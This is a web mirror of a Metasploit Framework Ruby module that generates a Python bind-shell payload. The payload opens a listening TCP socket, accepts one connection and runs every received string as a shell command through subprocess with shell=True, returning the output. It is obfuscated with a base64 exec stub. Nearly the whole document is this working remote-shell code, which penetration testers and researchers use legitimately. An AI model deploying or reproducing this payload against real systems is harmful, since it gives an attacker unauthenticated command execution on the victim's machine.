CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/python/shell_bind_tcp.rb
Views: 11766
1
2
module MetasploitModule
3
4
CachedSize = :dynamic
5
6
include Msf::Payload::Single
7
include Msf::Payload::Python
8
include Msf::Sessions::CommandShellOptions
9
10
def initialize(info = {})
11
super(merge_info(info,
12
'Name' => 'Command Shell, Bind TCP (via python)',
13
'Description' => 'Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.',
14
'Author' => 'mumbai',
15
'License' => MSF_LICENSE,
16
'Platform' => 'python',
17
'Arch' => ARCH_PYTHON,
18
'Handler' => Msf::Handler::BindTcp,
19
'Session' => Msf::Sessions::CommandShell,
20
'PayloadType' => 'python',
21
'Payload' =>
22
{
23
'Offsets' => { },
24
'Payload' => ''
25
}
26
))
27
end
28
29
def generate(_opts = {})
30
super + command_string
31
end
32
33
def command_string
34
cmd = <<~PYTHON
35
import socket as s
36
import subprocess as r
37
so=s.socket(s.AF_INET,s.SOCK_STREAM)
38
so.bind(('#{datastore['RHOST']}',#{ datastore['LPORT']}))
39
so.listen(1)
40
so,addr=so.accept()
41
while True:
42
d=so.recv(1024)
43
if len(d)==0:
44
break
45
p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
46
o=p.stdout.read()+p.stderr.read()
47
so.send(o)
48
PYTHON
49
50
py_create_exec_stub(cmd)
51
end
52
end
53
54